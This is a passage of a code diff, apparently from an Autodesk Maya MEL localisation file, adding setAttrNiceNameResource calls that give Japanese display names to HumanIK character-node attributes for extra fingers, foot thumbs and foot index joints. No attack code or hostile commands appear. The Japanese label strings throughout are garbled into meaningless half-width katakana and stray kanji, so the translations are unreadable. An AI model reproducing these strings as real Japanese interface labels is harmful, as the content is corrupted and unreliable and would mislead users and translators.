"HIKCharacterNode", "RightHandExtraFinger4RotateAxisz", "モメハヨチヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4JointOrient", "モメハヨチヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4JointOrientx", "モメハヨチヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4JointOrienty", "モメハヨチヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4JointOrientz", "モメハヨチヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimit", "モメハヨチヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitx", "モメハヨチヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimity", "モメハヨチヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitz", "モメハヨチヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimit", "モメハヨチヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitx", "モメハヨチヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimity", "モメハヨチヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitz", "モメハヨチヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitEnablex", "ニモテモメハヨチヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitEnabley", "ニモテモメハヨチヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitEnablez", "ニモテモメハヨチヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitEnablex", "ニモテモメハヨチヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitEnabley", "ニモテモメハヨチヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitEnablez", "ニモテモメハヨチヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1", "ラスナエヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1T", "ラスナエヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Tx", "ラスナエヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Ty", "ラスナエヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Tz", "ラスナエヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1R", "ラスナエヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Rx", "ラスナエヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Ry", "ラスナエヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Rz", "ラスナエヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1S", "ラスナエヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Sx", "ラスナエヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Sy", "ラスナエヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Sz", "ラスナエヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", "ラスナエヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateAxis", "ラスナエヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateAxisx", "ラスナエヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateAxisy", "ラスナエヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateAxisz", "ラスナエヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1JointOrient", "ラスナエヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1JointOrientx", "ラスナエヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1JointOrienty", "ラスナエヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1JointOrientz", "ラスナエヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimit", "ラスナエヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitx", "ラスナエヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimity", "ラスナエヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitz", "ラスナエヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimit", "ラスナエヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitx", "ラスナエヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimity", "ラスナエヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitz", "ラスナエヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitEnablex", "ニモテラスナエヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitEnabley", "ニモテラスナエヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitEnablez", "ニモテラスナエヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitEnablex", "ニモテラスナエヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitEnabley", "ニモテラスナエヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitEnablez", "ニモテラスナエヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2", "ラスナエヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2T", "ラスナエヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Tx", "ラスナエヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Ty", "ラスナエヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Tz", "ラスナエヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2R", "ラスナエヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Rx", "ラスナエヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Ry", "ラスナエヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Rz", "ラスナエヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2S", "ラスナエヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Sx", "ラスナエヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Sy", "ラスナエヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Sz", "ラスナエヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", "ラスナエヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateAxis", "ラスナエヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateAxisx", "ラスナエヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateAxisy", "ラスナエヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateAxisz", "ラスナエヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2JointOrient", "ラスナエヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2JointOrientx", "ラスナエヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2JointOrienty", "ラスナエヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2JointOrientz", "ラスナエヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimit", "ラスナエヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitx", "ラスナエヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimity", "ラスナエヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitz", "ラスナエヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimit", "ラスナエヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitx", "ラスナエヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimity", "ラスナエヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitz", "ラスナエヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitEnablex", "ニモテラスナエヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitEnabley", "ニモテラスナエヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitEnablez", "ニモテラスナエヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitEnablex", "ニモテラスナエヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitEnabley", "ニモテラスナエヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitEnablez", "ニモテラスナエヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3", "ラスナエヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3T", "ラスナエヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Tx", "ラスナエヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Ty", "ラスナエヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Tz", "ラスナエヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3R", "ラスナエヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Rx", "ラスナエヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Ry", "ラスナエヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Rz", "ラスナエヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3S", "ラスナエヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Sx", "ラスナエヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Sy", "ラスナエヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Sz", "ラスナエヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", "ラスナエヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateAxis", "ラスナエヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateAxisx", "ラスナエヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateAxisy", "ラスナエヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateAxisz", "ラスナエヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3JointOrient", "ラスナエヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3JointOrientx", "ラスナエヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3JointOrienty", "ラスナエヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3JointOrientz", "ラスナエヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimit", "ラスナエヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitx", "ラスナエヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimity", "ラスナエヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitz", "ラスナエヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimit", "ラスナエヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitx", "ラスナエヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimity", "ラスナエヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitz", "ラスナエヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitEnablex", "ニモテラスナエヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitEnabley", "ニモテラスナエヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitEnablez", "ニモテラスナエヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitEnablex", "ニモテラスナエヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitEnabley", "ニモテラスナエヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitEnablez", "ニモテラスナエヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4", "ラスナエヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4T", "ラスナエヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Tx", "ラスナエヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Ty", "ラスナエヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Tz", "ラスナエヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4R", "ラスナエヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Rx", "ラスナエヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Ry", "ラスナエヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Rz", "ラスナエヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4S", "ラスナエヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Sx", "ラスナエヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Sy", "ラスナエヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Sz", "ラスナエヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", "ラスナエヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateAxis", "ラスナエヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateAxisx", "ラスナエヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateAxisy", "ラスナエヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateAxisz", "ラスナエヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4JointOrient", "ラスナエヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4JointOrientx", "ラスナエヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4JointOrienty", "ラスナエヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4JointOrientz", "ラスナエヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimit", "ラスナエヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitx", "ラスナエヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimity", "ラスナエヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitz", "ラスナエヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimit", "ラスナエヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitx", "ラスナエヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimity", "ラスナエヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitz", "ラスナエヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitEnablex", "ニモテラスナエヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitEnabley", "ニモテラスナエヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitEnablez", "ニモテラスナエヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitEnablex", "ニモテラスナエヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitEnabley", "ニモテラスナエヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitEnablez", "ニモテラスナエヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1", "ラスナカヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1T", "ラスナカヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Tx", "ラスナカヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Ty", "ラスナカヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Tz", "ラスナカヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1R", "ラスナカヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Rx", "ラスナカヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Ry", "ラスナカヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Rz", "ラスナカヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1S", "ラスナカヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Sx", "ラスナカヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Sy", "ラスナカヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Sz", "ラスナカヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", "ラスナカヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateAxis", "ラスナカヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateAxisx", "ラスナカヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateAxisy", "ラスナカヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateAxisz", "ラスナカヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1JointOrient", "ラスナカヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1JointOrientx", "ラスナカヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1JointOrienty", "ラスナカヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1JointOrientz", "ラスナカヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimit", "ラスナカヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitx", "ラスナカヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimity", "ラスナカヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitz", "ラスナカヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimit", "ラスナカヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitx", "ラスナカヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimity", "ラスナカヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitz", "ラスナカヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitEnablex", "ニモテラスナカヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitEnabley", "ニモテラスナカヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitEnablez", "ニモテラスナカヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitEnablex", "ニモテラスナカヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitEnabley", "ニモテラスナカヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitEnablez", "ニモテラスナカヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2", "ラスナカヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2T", "ラスナカヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Tx", "ラスナカヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Ty", "ラスナカヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Tz", "ラスナカヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2R", "ラスナカヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Rx", "ラスナカヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Ry", "ラスナカヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Rz", "ラスナカヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2S", "ラスナカヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Sx", "ラスナカヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Sy", "ラスナカヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Sz", "ラスナカヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", "ラスナカヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateAxis", "ラスナカヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateAxisx", "ラスナカヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateAxisy", "ラスナカヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateAxisz", "ラスナカヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2JointOrient", "ラスナカヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2JointOrientx", "ラスナカヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2JointOrienty", "ラスナカヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", 